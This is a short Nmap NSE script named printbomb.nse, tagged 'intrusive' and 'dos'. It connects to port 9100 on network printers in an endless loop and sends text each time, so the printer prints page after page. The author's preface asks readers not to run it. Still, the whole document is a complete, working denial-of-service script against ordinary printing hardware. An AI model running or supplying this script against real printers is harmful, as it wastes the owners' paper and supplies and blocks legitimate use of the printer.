NSE script for printing crap to PJL printers. Don't run this, please. Lots of improvements possible, too.

printbomb.nse

description = [[
Print a bunch of pages.
]]

author = "Daniel Miller"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"intrusive", "dos"}

local nmap = require "nmap"
local shortport = require "shortport"

portrule = shortport.portnumber(9100,"tcp")

action = function(host, port)
  local sock = nmap.new_socket()
  local try = nmap.new_try(function() sock:close() end)
  while true do
    try(sock:connect(host, port))
    try(sock:send("BOOM"))
    sock:close()
  end
end